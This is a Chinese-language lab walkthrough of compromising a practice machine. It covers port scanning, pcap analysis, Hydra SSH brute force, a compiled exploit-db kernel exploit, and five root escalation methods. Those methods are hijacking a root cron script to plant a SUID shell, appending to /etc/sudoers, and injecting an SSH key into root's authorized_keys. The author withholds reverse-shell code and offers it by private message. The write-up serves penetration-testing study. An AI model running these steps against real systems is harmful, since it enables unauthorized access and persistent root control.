文章目录
目录
文章目录
前言
一、信息收集
二、提权
1.提权方法1
2.提权方法2
3.提权方法3
4.提权方法4
5.root免密登录的方法
总结
前言
思路清晰:
1.信息收集,寻找内网靶机,得到可以利用的ftp、ssh和web站点的常规端口。
2.因为这个靶机不是很难,所以就提权,五种不同的提权方式。
一、信息收集
扫描靶机
nmap -p- 192.168.198.0/24
有80端口,访问下
其实我们都知道20和21端口都是ftp的端口
那么我们就用nmap扫一下看看是不是
ssh版本
ftp可以匿名登陆
wireshark的包我们解析一下
先登录
看下ftp里面有什么文件
下载下来
解析一下这个包
wireshark lol.pcap
我们得到一个文件名
secret_stuff.txt
注意观察追踪流的语句
这个包不知道有多少个流,我们一个一个看把
只有四个流
我们一个一个看
第二个流传输的是这个文件
第三个有一串密文,还不知道留着
他说我们快接近目标了
那我们看看第四个流
还是传这个文件
那只有研究下那个密文了
研究了半天发现不是密文,是个目录。。。。
我们访问下
这个文件不知道用什么东西打开
我们看看这个文件是什么进制编写的
枚举是32位的ELF 二进制文件
看下文件里面有没有隐藏信息
并没有什么可用的信息
strings roflmao
发现Find address 0x0856BF to proceed
hexeditor roflmao ---十六进制的也可以用这个发现!
网页访问
这个是password那肯定就是密码了,那前面那个大概率是账号
那就爆破试下
爆破了半天没结果
最后发现Pass.txt才是密码。。。
hydra -L user.txt -p Pass.txt 192.168.198.137 ssh
ssh进去
ssh overflow@192.168.198.137
二、提权
1.提权方法1
ssh登录获取bash shell
python -c 'import pty;pty.spawn("/bin/bash")'
内核版本
复制过来
开启网页下载
┌──(root㉿kali)-[~]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
┌──(root㉿kali)-[~]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
回到靶机ssh,发现断开了,判断应该是设置了定时任务什么的,不太清楚,只能先提权看看了
重新ssh登录
gcc 37292.c -o muma1
./muma1
又断开了,好恶心。
这个常规方法会被cronb定时执行影响,所以我们要尝试更多可能
2.提权方法2
我们查看cronb日志
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
每间隔2分钟执行一次任务
我倒要看看他执行的是什么文件
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
清除/tmp下的所有文件,并且推出程序
好家伙每两分钟清除/tmp下的所有文件,并且退出当前tty,
那么肯定比我权限都高,我们就用这个执行脚本获取shell
vim写入不了
我们只能用vi或nano写入
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举所有可写入和执行权限的文件
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
先注释掉这句
这样我们就不会掉了
我们慢慢写
这里要写入要给python远控的脚本
脚本不能直接展示,因为一些大家dddd,可以私信我们的要
此处省略远控代码注入
拿到shell了!
3.提权方法3
我们ssh上去
python -c 'import pty; pty.spawn("/bin/bash")'
创建root可执行程序,获得root权限
nano /lib/log/cleaner.py
#!/usr/bin/python
import os
import sys
try:
os.system('cp /bin/sh /tmp/ou')
os.system('chmod u+s /tmp/ou')
except:
sys.exit()
断开后重新ssh上去看看
获得bash shell
4.提权方法4
或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
nano /lib/log/cleaner.py
#!/usr/bin/python
import os
import sys
try:
os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')
except:
sys.exit()
sudo su - root 得到root权限
5.root免密登录的方法
在kali本地root的~/.ssh下写入key
cd ~/.ssh
cat id_rsa.pub
没有生成一个
ssh-keygen
空密码
把rsa的key内容写入进靶机的/root/.ssh/里面
cat id_rsa.pub
登入靶机
注意执行这个shell需要
python -c 'import pty; pty.spawn("/bin/bash")'
nano /lib/log/cleaner.py
#!/usr/bin/python import os import sys try: os.system(mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6jUb2+l9/eqOPZ9fbqx5Q3GMjLeHkxPTzomODJA02yDOzxINVxTVfGey7oae+6CqTJZLobypXXD3sTm3oBUKxZxT7dfKZ09ds1F2GK6MdXXWqLI0FqpBCtbYxO9UNIOD9a26OreHHt5t6/wM4oxf95UqNQDJ1/xAlcXPkpOIUCzBKrRnt59TmJycVAGhyZnyBT6ybgacaQDUoS6ifUzRr5xXTCvDDnSQ0Vu0FepRXf1rB9L7f3gCz7HWEU3AkGVnOEoCwtddaHFPF3r6cO7KzWqwG0aDO4sxdbR0WfLqAoUrI6Vkob0IRkz0ZBkmA7K/Ew2s8E5xH53kRV2fPDa3x1S9/z+nPZDma1yYu4UjoWsIXz5+iYU0dYS8UcolEXFwH4f2zIbvQy1JnTc6NnJ/TDsdUMXmtye5VS36reczIvbbRCTz0k+ZiJAooh2Z53sS4BZQ4Sk3XMokwlDy61JFoDdqflXs3koi+bX05aT+Sc9Pdh2sbNK7WOTqQJyOmceU= root@kali" >> /root/.ssh/authorized_keys) except: sys.exit()
等他计划任务执行
断开了证明执行了
等ssh起来
总结
这里展示了五种提权方法,基本覆盖了常用的内网各种姿势,希望大家学有所成,请不要用于其他渠道。
特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。